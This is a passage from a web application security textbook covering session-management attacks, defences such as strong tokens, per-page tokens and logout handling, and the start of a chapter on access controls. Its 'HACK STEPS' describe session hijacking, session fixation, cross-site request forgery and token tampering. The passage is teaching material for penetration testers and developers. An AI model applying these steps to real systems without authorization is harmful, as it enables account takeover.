defect in the relationship between tokens and sessions. One example is where a meaningful token is constructed based on a username and a random component. For example, consider the token: dXNlcj1kYWY7cjE9MTMwOTQxODEyMTM0NTkwMTI= which Base64-decodes to: user=daf;r1=13094181213459012 c07.indd 240c07.indd 240 8/19/2011 12:07:43 PM8/19/2011 12:07:43 PMStuttard c07.indd V3 - 07/22/2011 Page 241 Chapter 7 Attacking Session Management 241 After extensive analysis of the r1 component, we may conclude that this cannot be predicted based on a sample of values. However, if the application’s session processing logic is awry, it may be that an attacker simply needs to submit any valid value as r1 and any valid value as user to access a session under the security context of the specifi ed user. This is essentially an access control vulnerability, because decisions about access are being made on the basis of user-supplied data outside of the session (see Chapter 8). It arises because the application effectively uses session tokens to signify that the requester has established some kind of valid session with the application. However, the user context in which that session is processed is not an integral property of the session itself but is determined per-request through some other means. In this case, that means can be directly controlled by the requester. HACK STEPS 1. Log in to the application twice using the same user account, either from different browser processes or from different computers. Determine whether both sessions remain active concurrently. If so, the application supports concurrent sessions, enabling an attacker who has compromised another user’s credentials to make use of these without risk of detection. 2. Log in and log out several times using the same user account, either from different browser processes or from different computers. Determine whether a new session token is issued each time or whether the same token is issued each time you log in. If the latter occurs, the application is not really employing proper sessions. 3. If tokens appear to contain any structure and meaning, attempt to sepa- rate out components that may identify the user from those that appear to be inscrutable. Try to modify any user-related components of the token so that they refer to other known users of the application, and verify whether the resulting token is accepted by the application and enables you to masquerade as that user. TRY IT! http://mdsec.net/auth/382/ http://mdsec.net/auth/385/ Vulnerable Session Termination Proper termination of sessions is important for two reasons. First, keeping the life span of a session as short as is necessary reduces the window of opportunity within which an attacker may capture, guess, or misuse a valid session token. c07.indd 241c07.indd 241 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 242 242 Chapter 7 Attacking Session Management Second, it provides users with a means of invalidating an existing session when they no longer require it. This enables them to reduce this window further and to take some responsibility for securing their session in a shared computing environment. The main weaknesses in session termination functions involve failures to meet these two key objectives. Some applications do not enforce effective session expiration. Once created, a session may remain valid for many days after the last request is received, before the server eventually expires the session. If tokens are vulnerable to some kind of sequencing fl aw that is particularly diffi cult to exploit (for example, 100,000 guesses for each valid token identifi ed), an attacker may still be able to capture the tokens of every user who has accessed the application in the recent past. Some applications do not provide effective logout functionality: In some cases, a logout function is simply not implemented. Users have no means of causing the application to invalidate their session. In some cases, the logout function does not actually cause the server to invalidate the session. The server removes the token from the user’s browser (for example, by issuing a Set-Cookie instruction to blank the token). However, if the user continues to submit the token, the server still accepts it. In the worst cases, when a user clicks Logout, this fact is not communi- cated to the server, so the server performs no action. Rather, a client-side script is executed that blanks the user’s cookie, meaning that subsequent requests return the user to the login page. An attacker who gains access to this cookie could use the session as if the user had never logged out. Some applications that do not use authentication still contain functionality that enables users to build up sensitive data within their session (for example, a shopping application). Yet typically they do not provide any equivalent of a logout function for users to terminate their session. HACK STEPS 1. Do not fall into the trap of examining actions that the application per- forms on the client-side token (such as cookie invalidation via a new Set-Cookie instruction, client-side script, or an expiration time attribute). In terms of session termination, nothing much depends on what happens to the token within the client browser. Rather, investigate whether session expiration is implemented on the server side: a. Log in to the application to obtain a valid session token. b. Wait for a period without using this token, and then submit a request for a protected page (such as “my details”) using the token. c07.indd 242c07.indd 242 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 243 Chapter 7 Attacking Session Management 243 c. If the page is displayed as normal, the token is still active. d. Use trial and error to determine how long any session expiration time- out is, or whether a token can still be used days after the last request using it. Burp Intruder can be configured to increment the time inter- val between successive requests to automate this task. 2. Determine whether a logout function exists and is prominently made available to users. If not, users are more vulnerable, because they have no way to cause the application to invalidate their session. 3. Where a logout function is provided, test its effectiveness. After logging out, attempt to reuse the old token and determine whether it is still valid. If so, users remain vulnerable to some session hijacking attacks even after they have “logged out.” You can use Burp Suite to test this, by selecting a recent session-dependent request from the proxy history and sending it to Burp Repeater to reissue after you have logged out from the application. TRY IT! http://mdsec.net/auth/423/ http://mdsec.net/auth/439/ http://mdsec.net/auth/447/ http://mdsec.net/auth/452/ http://mdsec.net/auth/457/ Client Exposure to Token Hijacking An attacker can target other users of the application in an attempt to capture or misuse the victim’s session token in various ways: An obvious payload for cross-site scripting attacks is to query the user’s cookies to obtain her session token, which can then be transmitted to an arbitrary server controlled by the attacker. All the various permutations of this attack are described in detail in Chapter 12. Various other attacks against users can be used to hijack the user’s session in different ways. With session fi xation vulnerabilities, an attacker feeds a known session token to a user, waits for her to log in, and then hijacks her session. With cross-site request forgery attacks, an attacker makes a crafted request to an application from a web site he controls, and he exploits the fact that the user’s browser automatically submits her current cookie with this request. These attacks are also described in Chapter 12. c07.indd 243c07.indd 243 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 244 244 Chapter 7 Attacking Session Management HACK STEPS 1. Identify any cross-site scripting vulnerabilities within the application, and determine whether these can be exploited to capture the session tokens of other users (see Chapter 12). 2. If the application issues session tokens to unauthenticated users, obtain a token and perform a login. If the application does not issue a fresh token following a successful login, it is vulnerable to session fixation. 3. Even if the application does not issue session tokens to unauthenticated users, obtain a token by logging in, and then return to the login page. If the application is willing to return this page even though you are already authenticated, submit another login as a different user using the same token. If the application does not issue a fresh token after the second login, it is vulnerable to session fixation. 4. Identify the format of session tokens used by the application. Modify your token to an invented value that is validly formed, and attempt to log in. If the application allows you to create an authenticated session using an invented token, it is vulnerable to session fixation. 5. If the application does not support login, but processes sensitive user information (such as personal and payment details), and allows this to be displayed after submission (such as on a “verify my order” page), carry out the previous three tests in relation to the pages displaying sensitive data. If a token set during anonymous usage of the application can later be used to retrieve sensitive user information, the application is vulner- able to session fixation. 6. If the application uses HTTP cookies to transmit session tokens, it may well be vulnerable to cross-site request forgery (XSRF). First, log in to the application. Then confirm that a request made to the application but origi- nating from a page of a different application results in submission of the user’s token. (This submission needs to be made from a window of the same browser process that was used to log in to the target application.) Attempt to identify any sensitive application functions whose parameters an attacker can determine in advance, and exploit this to carry out unau- thorized actions within the security context of a target user. See Chapter 13 for more details on how to execute XSRF attacks. Liberal Cookie Scope The usual simple summary of how cookies work is that the server issues a cookie using the HTTP response header Set-cookie, and the browser then resubmits this cookie in subsequent requests to the same server using the Cookie header. In fact, matters are rather more subtle than this. c07.indd 244c07.indd 244 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 245 Chapter 7 Attacking Session Management 245 The cookie mechanism allows a server to specify both the domain and the URL path to which each cookie will be resubmitted. To do this, it uses the domain and path attributes that may be included in the Set-cookie instruction. Cookie Domain Restrictions When the application residing at foo.wahh-app.com sets a cookie, the browser by default resubmits the cookie in all subsequent requests to foo.wahh-app .com, and also to any subdomains, such as admin.foo.wahh-app.com. It does not submit the cookie to any other domains, including the parent domain wahh-app.com and any other subdomains of the parent, such as bar.wahh-app.com. A server can override this default behavior by including a domain attribute in the Set-cookie instruction. For example, suppose that the application at foo .wahh-app.com returns the following HTTP header: Set-cookie: sessionId=19284710; domain=wahh-app.com; The browser then resubmits this cookie to all subdomains of wahh-app.com, including bar.wahh-app.com. NOTE A server cannot specify just any domain using this attribute. First, the domain specifi ed must be either the same domain that the application is run- ning on or a domain that is its parent (either immediately or at some remove). Second, the domain specifi ed cannot be a top-level domain such as .com or .co.uk, because this would enable a malicious server to set arbitrary cook- ies on any other domain. If the server violates one of these rules, the browser simply ignores the Set-cookie instruction. If an application sets a cookie’s domain scope as unduly liberal, this may expose the application to various security vulnerabilities. For example, consider a blogging application that allows users to register, log in, write blog posts, and read other people’s blogs. The main application is located at the domain wahh-blogs.com. When users log in to the application, they receive a session token in a cookie that is scoped to this domain. Each user can create blogs that are accessed via a new subdomain that is prefi xed by his username: herman.wahh-blogs.com solero.wahh-blogs.com Because cookies are automatically resubmitted to every subdomain within their scope, when a user who is logged in browses the blogs of other users, his session token is submitted with his requests. If blog authors are permitted to place arbitrary JavaScript within their own blogs (as is usually the case in c07.indd 245c07.indd 245 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 246 246 Chapter 7 Attacking Session Management real-world blog applications), a malicious blogger can steal the session tokens of other users in the same way as is done in a stored cross-site scripting attack (see Chapter 12). The problem arises because user-authored blogs are created as subdomains of the main application that handles authentication and session management. There is no facility within HTTP cookies for the application to prevent cookies issued by the main domain from being resubmitted to its subdomains. The solution is to use a different domain name for the main application (for example, www.wahh-blogs.com) and to scope the domain of its session token cookies to this fully qualifi ed name. The session cookie will not then be submit- ted when a logged-in user browses the blogs of other users. A different version of this vulnerability arises when an application explicitly sets the domain scope of its cookies to a parent domain. For example, sup- pose that a security-critical application is located at the domain sensitiveapp .wahh-organization.com. When it sets cookies, it explicitly liberalizes their domain scope, as follows: Set-cookie: sessionId=12df098ad809a5219; domain=wahh-organization.com The consequence of this is that the sensitive application’s session token cookies will be submitted when a user visits every subdomain used by wahh-organization .com, including: www.wahh-organization.com testapp.wahh-organization.com Although these other applications may all belong to the same organization as the sensitive application, it is undesirable for the sensitive application’s cookies to be submitted to other applications, for several reasons: The personnel responsible for the other applications may have a different level of trust than those responsible for the sensitive application. The other applications may contain functionality that enables third par- ties to obtain the value of cookies submitted to the application, as in the previous blogging example. The other applications may not have been subjected to the same security standards or testing as the sensitive application (because they are less important, do not handle sensitive data, or have been created only for test purposes). Many kinds of vulnerability that may exist in those applica- tions (for example, cross-site scripting vulnerabilities) may be irrelevant to the security posture of those applications. But they could enable an external attacker to leverage an insecure application to capture session tokens created by the sensitive application. c07.indd 246c07.indd 246 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 247 Chapter 7 Attacking Session Management 247 NOTE Domain-based segregation of cookies is not as strict as the same- origin policy in general (see Chapter 3). In addition to the issues already described in the handling of hostnames, browsers ignore both the protocol and port number when determining cookie scope. If an application shares a hostname with an untrusted application and relies on a difference in protocol or port number to segregate itself, the more relaxed handling of cookies may undermine this segregation. Any cookies issued by the application will be accessible by the untrusted application that shares its hostname. HACK STEPS Review all the cookies issued by the application, and check for any domain attributes used to control the scope of the cookies. 1. If an application explicitly liberalizes its cookies’ scope to a parent domain, it may be leaving itself vulnerable to attacks via other web applications. 2. If an application sets its cookies’ domain scope to its own domain name (or does not specify a domain attribute), it may still be exposed to appli- cations or functionality accessible via subdomains. Identify all the possible domain names that will receive the cookies issued by the application. Establish whether any other web application or functional- ity is accessible via these domain names that you may be able to leverage to obtain the cookies issued to users of the target application. Cookie Path Restrictions When the application residing at /apps/secure/foo-app/index.jsp sets a cookie, the browser by default resubmits the cookie in all subsequent requests to the path /apps/secure/foo-app/ and also to any subdirectories. It does not submit the cookie to the parent directory or to any other directory paths that exist on the server. As with domain-based restrictions on cookie scope, a server can override this default behavior by including a path attribute in the Set-cookie instruction. For example, if the application returns the following HTTP header: Set-cookie: sessionId=187ab023e09c00a881a; path=/apps/; the browser resubmits this cookie to all subdirectories of the /apps/ path. In contrast to domain-based scoping of cookies, this path-based restriction is much stricter than what is imposed by the same-origin policy. As such, it is almost entirely ineffective if used as a security mechanism to defend against untrusted c07.indd 247c07.indd 247 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 248 248 Chapter 7 Attacking Session Management applications hosted on the same domain. Client-side code running at one path can open a window or iframe targeting a different path on the same domain and can read from and write to that window without any restrictions. Hence, obtain- ing a cookie that is scoped to a different path on the same domain is relatively straightforward. See the following paper by Amit Klein for more details: http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/ 2006-March/000843.html Securing Session Management The defensive measures that web applications must take to prevent attacks on their session management mechanisms correspond to the two broad categories of vulnerability that affect those mechanisms. To perform session management in a secure manner, an application must generate its tokens in a robust way and must protect these tokens throughout their life cycle from creation to disposal. Generate Strong Tokens The tokens used to reidentify a user between successive requests should be generated in a manner that does not provide any scope for an attacker who obtains a large sample of tokens from the application in the usual way to predict or extrapolate the tokens issued to other users. The most effective token generation mechanisms are those that: Use an extremely large set of possible values Contain a strong source of pseudorandomness, ensuring an even and unpredictable spread of tokens across the range of possible values In principle, any item of arbitrary length and complexity may be guessed using brute force given suffi cient time and resources. The objective of designing a mechanism to generate strong tokens is that it should be extremely unlikely that a determined attacker with large amounts of bandwidth and processing resources should be successful in guessing a single valid token within the life span of its validity. Tokens should consist of nothing more than an identifi er used by the server to locate the relevant session object to be used to process the user’s request. The token should contain no meaning or structure, either overtly or wrapped in layers of encoding or obfuscation. All data about the session’s owner and status should be stored on the server in the session object to which the session token corresponds. Be careful when selecting a source of randomness. Developers should be aware that the various sources available to them are likely to differ in strength c07.indd 248c07.indd 248 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 249 Chapter 7 Attacking Session Management 249 signifi cantly. Some, like java.util.Random, are perfectly useful for many pur- poses where a source of changing input is required. But they can be extrapolated in both forward and reverse directions with perfect certainty on the basis of a single item of output. Developers should investigate the mathematical proper- ties of the actual algorithms used within different available sources of random- ness and should read relevant documentation about the recommended uses of different APIs. In general, if an algorithm is not explicitly described as being cryptographically secure, it should be assumed to be predictable. NOTE Some high-strength sources of randomness take some time to return the next value in their output sequence because of the steps they take to obtain suffi cient entropy (such as from system events). Therefore, they may not deliver values fast enough to generate tokens for some high-volume applications. In addition to selecting the most robust source of randomness that is feasible, a good practice is to introduce as a source of entropy some information about the individual request for which the token is being generated. This informa- tion may not be unique to that request, but it can be effective at mitigating any weaknesses in the core pseudorandom number generator being used. Here are some examples of information that may be incorporated: The source IP address and port number from which the request was received The User-Agent header in the request The time of the request in milliseconds A highly effective formula for incorporating this entropy is to construct a string that concatenates a pseudorandom number, a variety of request-specifi c data as listed, and a secret string known only to the server and generated afresh on each reboot. A suitable hash is then taken of this string (using, for example, SHA-256 at the time of this writing) to produce a manageable fi xed-length string that can be used as a token. (Placing the most variable items toward the start of the hash’s input maximizes the “avalanche” effect within the hashing algorithm.) TIP Having chosen an algorithm for generating session tokens, a useful “thought experiment” is to imagine that your source of pseudorandomness is broken and always returns the same value. In this eventuality, would an attacker who obtains a large sample of tokens from the application be able to extrapolate tokens issued to other users? Using the formula described here, in general this is highly unlikely, even with full knowledge of the algorithm used. The source IP, port number, User-Agent header, and time of request together generate a vast amount of entropy. And even with full knowledge of these, the attacker will be unable to produce the corresponding token without knowing the secret string used by the server. c07.indd 249c07.indd 249 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 250 250 Chapter 7 Attacking Session Management Protect Tokens Throughout Their Life Cycle Now that you’ve created a robust token whose value cannot be predicted, this token needs to be protected throughout its life cycle from creation to disposal, to ensure that it is not disclosed to anyone other than the user to whom it is issued: The token should only be transmitted over HTTPS. Any token transmit- ted in cleartext should be regarded as tainted — that is, as not providing assurance of the user’s identity. If HTTP cookies are being used to transmit tokens, these should be fl agged as secure to prevent the user’s browser from ever transmitting them over HTTP. If feasible, HTTPS should be used for every page of the application, including static content such as help pages, images, and so on. If this is not desired and an HTTP service is still implemented, the application should redirect any requests for sensitive content (including the login page) to the HTTPS service. Static resources such as help pages usually are not sensitive and may be accessed without any authenticated session. Hence, the use of secure cookies can be backed up using cookie scope instructions to prevent tokens from being submit- ted in requests for these resources. Session tokens should never be transmitted in the URL, because this pro- vides a simple vehicle for session fi xation attacks and results in tokens appearing in numerous logging mechanisms. In some cases, developers use this technique to implement sessions in browsers that have cookies disabled. However, a better means of achieving this is to use POST requests for all navigation and store tokens in a hidden fi eld of an HTML form. Logout functionality should be implemented. This should dispose of all session resources held on the server and invalidate the session token. Session expiration should be implemented after a suitable period of inac- tivity (such as 10 minutes). This should result in the same behavior as if the user had explicitly logged out. Concurrent logins should be prevented. Each time a user logs in, a differ- ent session token should be issued, and any existing session belonging to the user should be disposed of as if she had logged out from it. When this occurs, the old token may be stored for a period of time. Any subsequent requests received using the token should return a security alert to the user stating that the session has been terminated because she logged in from a different location. If the application contains any administrative or diagnostic functional- ity that enables session tokens to be viewed, this functionality should be robustly defended against unauthorized access. In most cases, there is no need for this functionality to display the actual session token. Rather, it should contain suffi cient details about the owner of the session for any c07.indd 250c07.indd 250 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 251 Chapter 7 Attacking Session Management 251 support and diagnostic tasks to be performed, without divulging the ses- sion token being submitted by the user to identify her session. The domain and path scope of an application’s session cookies should be set as restrictively as possible. Cookies with overly liberal scope are often generated by poorly confi gured web application platforms or web serv- ers, rather than by the application developers themselves. No other web applications or untrusted functionality should be accessible via domain names or URL paths that are included within the scope of the application’s cookies. Particular attention should be paid to any existing subdomains to the domain name that is used to access the application. In some cases, to ensure that this vulnerability does not arise, it may be necessary to modify the domain- and path-naming scheme employed by the various applications in use within the organization. Specifi c measures should be taken to defend the session management mecha- nism against the variety of attacks that the application’s users may fi nd them- selves targets of: The application’s codebase should be rigorously audited to identify and remove any cross-site scripting vulnerabilities (see Chapter 12). Most such vulnerabilities can be exploited to attack session management mechanisms. In particular, stored (or second-order) XSS attacks can usually be exploited to defeat every conceivable defense against session misuse and hijacking. Arbitrary tokens submitted by users the server does not recognize should not be accepted. The token should be immediately canceled within the browser, and the user should be returned to the application’s start page. Cross-site request forgery and other session attacks can be made more dif- fi cult by requiring two-step confi rmation and/or reauthentication before critical actions such as funds transfers are carried out. Cross-site request forgery attacks can be defended against by not rely- ing solely on HTTP cookies to transmit session tokens. Using the cookie mechanism introduces the vulnerability because cookies are automati- cally submitted by the browser regardless of what caused the request to take place. If tokens are always transmitted in a hidden fi eld of an HTML form, an attacker cannot create a form whose submission will cause an unauthorized action unless he already knows the token’s value. In this case he can simply perform an easy hijacking attack. Per-page tokens can also help prevent these attacks (see the following section). A fresh session should always be created after successful authentication, to mitigate the effects of session fi xation attacks. Where an application does not use authentication but does allow sensitive data to be submitted, the threat posed by fi xation attacks is harder to address. One possible approach c07.indd 251c07.indd 251 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 252 252 Chapter 7 Attacking Session Management is to keep the sequence of pages where sensitive data is submitted as short as possible. Then you can create a new session at the fi rst page of this sequence (where necessary, copying from the existing session any required data, such as the contents of a shopping cart). Or you could use per-page tokens (described in the following section) to prevent an attacker who knows the token used in the fi rst page from accessing subsequent pages. Except where strictly necessary, personal data should not be displayed back to the user. Even where this is required (such as a “confi rm order” page showing addresses), sensitive items such as credit card numbers and passwords should never be displayed back to the user and should always be masked within the source of the application’s response. Per-Page Tokens Finer-grained control over sessions can be achieved, and many kinds of session attacks can be made more diffi cult or impossible, by using per-page tokens in addition to session tokens. Here, a new page token is created every time a user requests an application page (as opposed to an image, for example) and is passed to the client in a cookie or a hidden fi eld of an HTML form. Each time the user makes a request, the page token is validated against the last value issued, in addition to the normal validation of the main session token. In the case of a non-match, the entire session is terminated. Many of the most security-critical web applications on the Internet, such as online banks, employ per-page tokens to provide increased protection for their session management mechanism, as shown in Figure 7-12. Figure 7-12: Per-page tokens used in a banking application The use of per-page tokens does impose some restrictions on navigation (for example, on use of the back and forward buttons and multiwindow browsing). c07.indd 252c07.indd 252 8/19/2011 12:07:44 PM8/19/2011 12:07:44 PMStuttard c07.indd V3 - 07/22/2011 Page 253 Chapter 7 Attacking Session Management 253 However, it effectively prevents session fi xation attacks and ensures that the simultaneous use of a hijacked session by a legitimate user and an attacker will quickly be blocked after both have made a single request. Per-page tokens can also be leveraged to track the user’s location and movement through the application. They also can be used to detect attempts to access functions out of a defi ned sequence, helping protect against certain access control defects (see Chapter 8). Log, Monitor, and Alert The application’s session management functionality should be closely integrated with its mechanisms for logging, monitoring, and alerting to provide suitable records of anomalous activity and to enable administrators to take defensive actions where necessary: The application should monitor requests that contain invalid tokens. Except in the most predictable cases, a successful attack that attempts to guess the tokens issued to other users typically involves issuing large numbers of requests containing invalid tokens, leaving a noticeable mark in the application’s logs. Brute-force attacks against session tokens are diffi cult to block altogether, because no particular user account or session can be disabled to stop the attack. One possible action is to block source IP addresses for an amount of time when a number of requests containing invalid tokens have been received. However, this may be ineffective when one user’s requests origi- nate from multiple IP addresses (such as AOL users) or when multiple users’ requests originate from the same IP address (such as users behind a proxy or fi rewall performing network address translation). Even if brute-force attacks against sessions cannot be effectively prevented in real time, keeping detailed logs and alerting administrators enables them to investigate the attack and take appropriate action where they can. Wherever possible, users should be alerted to anomalous events relating to their session, such as concurrent logins or apparent hijacking (detected using per-page tokens). Even though a compromise may already have occurred, this enables the user to check whether any unauthorized actions such as funds transfers have taken place. Reactive Session Termination The session management mechanism can be leveraged as a highly effective defense against many kinds of other attacks against the application. Some security-critical applications such as online banking are extremely aggressive in terminating a user’s session every time he or she submits an anomalous request. c07.indd 253c07.indd 253 8/19/2011 12:07:45 PM8/19/2011 12:07:45 PMStuttard c07.indd V3 - 07/22/2011 Page 254 254 Chapter 7 Attacking Session Management Examples are any request containing a modifi ed hidden HTML form fi eld or URL query string parameter, any request containing strings associated with SQL injection or cross-site scripting attacks, and any user input that normally would have been blocked by client-side checks such as length restrictions. Of course, any actual vulnerabilities that may be exploited using such requests need to be addressed at the source. But forcing users to reauthenticate every time they submit an invalid request can slow down the process of probing the application for vulnerabilities by many orders of magnitude, even where auto- mated techniques are employed. If residual vulnerabilities do still exist, they are far less likely to be discovered by anyone in the fi eld. Where this kind of defense is implemented, it is also recommended that it can be easily switched off for testing purposes. If a legitimate penetration test of the application is slowed down in the same way as a real-world attacker, its effectiveness is dramatically reduced. Also, it is very likely that the presence of the mechanism will result in more vulnerabilities remaining in production code than if the mechanism were absent. HACK STEPS If the application you are attacking uses this kind of defensive measure, you may fi nd that probing the application for many kinds of common vulnerabili- ties is extremely time-consuming. The mind-numbing need to log in after each failed test and renavigate to the point of the application you were looking at would quickly cause you to give up. In this situation, you can often use automation to tackle the problem. When using Burp Intruder to perform an attack, you can use the Obtain Cookie feature to perform a fresh login before sending each test case, and use the new session token (provided that the login is single-stage). When browsing and probing the application manually, you can use the extensibility features of Burp Proxy via the IBurpExtender interface. You can create an extension that detects when the application has performed a forced logout, automatically logs back in to the application, and returns the new session and page to the browser, optionally with a pop-up message to tell you what has occurred. Although this by no means removes the problem, in certain cases it can mitigate it substantially. Summary The session management mechanism provides a rich source of potential vulner- abilities for you to target when formulating your attack against an application. Because of its fundamental role in enabling the application to identify the same user across multiple requests, a broken session management function usually c07.indd 254c07.indd 254 8/19/2011 12:07:45 PM8/19/2011 12:07:45 PMStuttard c07.indd V3 - 07/22/2011 Page 255 Chapter 7 Attacking Session Management 255 provides the keys to the kingdom. Jumping into other users’ sessions is good. Hijacking an administrator’s session is even better; typically this enables you to compromise the entire application. You can expect to encounter a wide range of defects in real-world session management functionality. When bespoke mechanisms are employed, the possible weaknesses and avenues of attack may appear to be endless. The most important lesson to draw from this topic is to be patient and determined. Quite a few session management mechanisms that appear to be robust on fi rst inspec- tion can be found wanting when analyzed closely. Deciphering the method an application uses to generate its sequence of seemingly random tokens may take time and ingenuity. But given the reward, this is usually an investment well worth making. Questions Answers can be found at http://mdsec.net/wahh. 1. You log in to an application, and the server sets the following cookie: Set-cookie: sessid=amltMjM6MTI0MToxMTk0ODcwODYz; An hour later, you log in again and receive the following: Set-cookie: sessid=amltMjM6MTI0MToxMTk0ODc1MTMy; What can you deduce about these cookies? 2. An application employs six-character alphanumeric session tokens and fi ve-character alphanumeric passwords. Both are randomly generated according to an unpredictable algorithm. Which of these is likely to be the more worthwhile target for a brute-force guessing attack? List all the different factors that may be relevant to your decision. 3. You log in to an application at the following URL: https://foo.wahh-app.com/login/home.php and the server sets the following cookie: Set-cookie: sessionId=1498172056438227; domain=foo.wahh- app.com; path=/login; HttpOnly; You then visit a range of other URLs. To which of the following will your browser submit the sessionId cookie? (Select all that apply.) (a) https://foo.wahh-app.com/login/myaccount.php (b) https://bar.wahh-app.com/login (c) https://staging.foo.wahh-app.com/login/home.php (d) http://foo.wahh-app.com/login/myaccount.php c07.indd 255c07.indd 255 8/19/2011 12:07:45 PM8/19/2011 12:07:45 PMStuttard c07.indd V3 - 07/22/2011 Page 256 256 Chapter 7 Attacking Session Management (e) http://foo.wahh-app.com/logintest/login.php (f) https://foo.wahh-app.com/logout (g) https://wahh-app.com/login/ (h) https://xfoo.wahh-app.com/login/myaccount.php 4. The application you are targeting uses per-page tokens in addition to the primary session token. If a per-page token is received out of sequence, the entire session is invalidated. Suppose that you discover some defect that enables you to predict or capture the tokens issued to other users who are currently accessing the application. Can you hijack their sessions? 5. You log in to an application, and the server sets the following cookie: Set-cookie: sess=ab11298f7eg14; When you click the logout button, this causes the following client-side script to execute: document.cookie=”sess=”; document.location=”/”; What conclusion would you draw from this behavior? c07.indd 256c07.indd 256 8/19/2011 12:07:45 PM8/19/2011 12:07:45 PMStuttard c08.indd V3 - 07/28/2011 Page 257 257 CHAPTER 8 Attacking Access Controls Within the application’s core security mechanisms, access controls are logically built on authentication and session management. So far, you have seen how an application can fi rst verify a user’s identity and then confi rm that a particular sequence of requests that it receives originated from the same user. The primary reason that the application needs to do these things — in terms of security, at least — is because it needs a way to decide whether it should permit a given request to perform its attempted action or access the resources it is requesting. Access controls are a critical defense mechanism within the application because they are responsible for making these key decisions. When they are defective, an attacker can often compromise the entire application, taking control of adminis- trative functionality and accessing sensitive data belonging to every other user. As noted in Chapter 1, broken access controls are among the most commonly encountered categories of web application vulnerability, affecting a massive 71 percent of the applications recently tested by the authors. It is extremely com- mon to encounter applications that go to all the trouble of implementing robust mechanisms for authentication and session management, only to squander that investment by neglecting to build effective access controls on them. One reason that these weaknesses are so prevalent is that access control checks need to be performed for every request and every operation on a resource that particular user attempts to perform, at a specifi c time. And unlike many other classes of control, this is a design decision that needs to be made by a human; it cannot be resolved by employing technology. c08.indd 257c08.indd 257 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 258 258 Chapter 8 Attacking Access Controls Access control vulnerabilities are conceptually simple: The application lets you do something you shouldn’t be able to. The differences between separate fl aws really come down to the different ways in which this core defect is manifested and the different techniques you need to employ to detect it. This chapter describes all these techniques, showing how you can exploit different kinds of behavior within an application to perform unauthorized actions and access protected data. Common Vulnerabilities Access controls can be divided into three broad categories: vertical, horizontal, and context-dependent. Vertical access controls allow different types of users to access different parts of the application’s functionality. In the simplest case, this typically involves a division between ordinary users and administrators. In more complex cases, vertical access controls may involve fi ne-grained user roles granting access to specifi c functions, with each user being allocated to a single role, or a combina- tion of different roles. Horizontal access controls allow users to access a certain subset of a wider range of resources of the same type. For example, a web mail application may allow you to read your e-mail but no one else’s, an online bank may let you transfer money out of your account only, and a workfl ow application may allow you to update tasks assigned to you but only read tasks assigned to other people. Context-dependent access controls ensure that users’ access is restricted to what is permitted given the current application state. For example, if a user is following multiple stages within a process, context-dependent access controls may prevent the user from accessing stages out of the prescribed order. In many cases, vertical and horizontal access controls are intertwined. For example, an enterprise resource planning application may allow each accounts payable clerk to pay invoices for a specifi c organizational unit and no other. The accounts payable manager, on the other hand, may be allowed to pay invoices for any unit. Similarly, clerks may be able to pay invoices for small amounts, but larger invoices must be paid by the manager. The fi nance director may be able to view invoice payments and receipts for every organizational unit in the company but may not be permitted to pay any invoices. Access controls are broken if any user can access functionality or resources for which he or she is not authorized. There are three main types of attacks against access controls, corresponding to the three categories of controls: Vertical privilege escalation occurs when a user can perform functions that his assigned role does not permit him to. For example, if an ordinary user can perform administrative functions, or a clerk can pay invoices of any size, access controls are broken. c08.indd 258c08.indd 258 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 259 Chapter 8 Attacking Access Controls 259 Horizontal privilege escalation occurs when a user can view or modify resources to which he is not entitled. For example, if you can use a web mail application to read other people’s e-mail, or if a payment clerk can process invoices for an organizational unit other than his own, access controls are broken. Business logic exploitation occurs when a user can exploit a fl aw in the application’s state machine to gain access to a key resource. For example, a user may be able to bypass the payment step in a shopping checkout sequence. It is common to fi nd cases where vulnerability in the application’s horizontal separation of privileges can lead immediately to a vertical escalation attack. For example, if a user fi nds a way to set a different user’s password, the user can attack an administrative account and take control of the application. In the cases described so far, broken access controls enable users who have authenticated themselves to the application in a particular user context to per- form actions or access data for which that context does not authorize them. However, in the most serious cases of broken access control, it may be possible for completely unauthorized users to gain access to functionality or data that is intended to be accessed only by privileged authenticated users. Completely Unprotected Functionality In many cases of broken access controls, sensitive functionality and resources can be accessed by anyone who knows the relevant URL. For example, with many applications, anyone who visits a specifi c URL can make full use of its administrative functions: https://wahh-app.com/admin/ In this situation, the application typically enforces access control only to the following extent: users who have logged in as administrators see a link to this URL on their user interface, and other users do not. This cosmetic difference is the only mechanism in place to “protect” the sensitive functionality from unauthorized use. Sometimes, the URL that grants access to powerful functions may be less easy to guess, and may even be quite cryptic: https://wahh-app.com/menus/secure/ff457/DoAdminMenu2.jsp Here, access to administrative functions is protected by the assumption that an attacker will not know or discover this URL. The application is harder for an outsider to compromise, because he is less likely to guess the URL by which he can do so. c08.indd 259c08.indd 259 8/19/2011 12:08:31 PM8/19/2011 12:08:31 PMStuttard c08.indd V3 - 07/28/2011 Page 260 260 Chapter 8 Attacking Access Controls COMMON MYTH “No low-privileged users will know that URL. We don’t reference it anywhere within the application.” The absence of any genuine access control still constitutes a serious vulner- ability, regardless of how easy it would be to guess the URL. URLs do not have the status of secrets, either within the application itself or in the hands of its users. They are displayed on-screen, and they appear in browser histories and the logs of web servers and proxy servers. Users may write them down, bookmark them, or e-mail them. They are not usually changed periodically, as passwords should be. When users change job roles, and their access to admin- istrative 